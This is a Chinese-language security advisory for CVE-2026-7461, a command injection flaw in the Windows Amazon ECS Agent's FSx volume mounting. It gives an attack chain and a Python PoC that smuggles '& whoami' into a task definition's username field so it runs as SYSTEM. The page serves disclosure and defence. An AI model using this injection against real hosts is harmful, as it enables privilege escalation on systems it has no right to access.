IPBUF安全漏洞报告
English
CVE-2026-7461 CVSS 7.2 高危

CVE-2026-7461: Amazon ECS Agent Windows命令注入漏洞

披露日期: 2026-04-30
来源: ff89ba41-3aa1-4d27-914a-91399e9639e5

漏洞信息

漏洞编号
CVE-2026-7461
漏洞类型
操作系统命令注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Amazon ECS Agent (Windows)

相关标签

RCE命令注入AWSECSWindows提权

漏洞概述

Amazon ECS Agent (Windows) 版本 1.103.0 之前的 FSx Windows File Server 卷挂载组件中存在操作系统命令注入漏洞。由于未能正确中和输入,具有注册 ECS 任务定义权限或写入 Secrets Manager/SSM Parameter Store 凭证权限的远程经过身份认证的攻击者,可以通过在 ECS 任务定义中精心构造的用户名字段,在底层主机上执行具有 SYSTEM 权限的 Shell 命令。

技术细节

该漏洞的根本原因在于 Amazon ECS Agent 在处理 FSx Windows File Server 卷挂载配置时,未对用户提供的用户名字段进行严格的输入验证。当 Agent 调用底层系统命令进行挂载操作时,会将该字段直接拼接到命令行中。攻击者可以利用此缺陷,在用户名中注入恶意的命令分隔符(如 & 或 |),从而追加并执行任意系统指令。由于 ECS Agent 在 Windows 宿主机上通常以 SYSTEM 权限运行,成功的利用将导致攻击者获得最高系统权限。利用该漏洞需要攻击者具备一定的 AWS IAM 权限,这使得攻击链具有高度的针对性。

攻击链分析

STEP 1
1. 权限获取
攻击者获取 AWS IAM 权限,能够注册 ECS 任务定义或修改 Secrets Manager 中的凭证。
STEP 2
2. 载荷构造
攻击者构造包含操作系统命令注入字符(如 &)的恶意用户名字符串。
STEP 3
3. 任务注册
攻击者调用 RegisterTaskDefinition API,将包含恶意用户名的 FSx 卷配置写入任务定义。
STEP 4
4. 触发挂载
攻击者运行该 ECS 任务,ECS Agent 尝试挂载 FSx 卷并读取配置。
STEP 5
5. 命令执行
ECS Agent 在构建挂载命令时未过滤用户名,导致注入的命令在宿主机上以 SYSTEM 权限执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import boto3 def exploit_cve_2026_7461(cluster_name, task_def_family, fsx_id, secret_arn): """ PoC for CVE-2026-7461 Demonstrates OS Command Injection via FSx username in ECS Task Definition. Requires: boto3, AWS credentials with ecs:RegisterTaskDefinition permissions. """ client = boto3.client('ecs') # Malicious payload: 'user & whoami' (Will execute 'whoami' on the host) # Note: The actual command execution context depends on the ECS Agent implementation. malicious_username = "valid_user & whoami" container_definitions = [ { "name": "windows_container", "image": "mcr.microsoft.com/windows/servercore:ltsc2019", "cpu": 1024, "memory": 2048, "essential": True } ] volume_configuration = { "name": "fsx_volume", "fsxWindowsFileServerVolumeConfiguration": { "fileSystemId": fsx_id, "rootDirectory": "\\", "authorizationConfig": { "credentialsParameter": secret_arn, "domain": "corp.example.com", # VULNERABLE PARAMETER: User input is not sanitized "user": malicious_username } } } try: response = client.register_task_definition( family=task_def_family, containerDefinitions=container_definitions, volumes=[volume_configuration], requiresCompatibilities=['EC2'], networkMode='bridge' ) print(f"[+] Task definition registered: {response['taskDefinition']['taskDefinitionArn']}") print("[+] Running this task will trigger the command injection on the ECS Agent host.") except Exception as e: print(f"[-] Error registering task definition: {e}") if __name__ == "__main__": # Placeholder values exploit_cve_2026_7461( cluster_name="default", task_def_family="exploit-poc", fsx_id="fs-0123456789abcdef0", secret_arn="arn:aws:secretsmanager:us-east-1:123456789012:secret:fsx-creds-abc123" )

影响范围

Amazon ECS Agent (Windows) < 1.103.0

防御指南

临时缓解措施
在无法立即升级 Agent 的情况下,应严格限制能够创建或修改 ECS 任务定义以及管理 FSx 相关密钥的 IAM 身份,确保只有受信任的管理员拥有这些权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表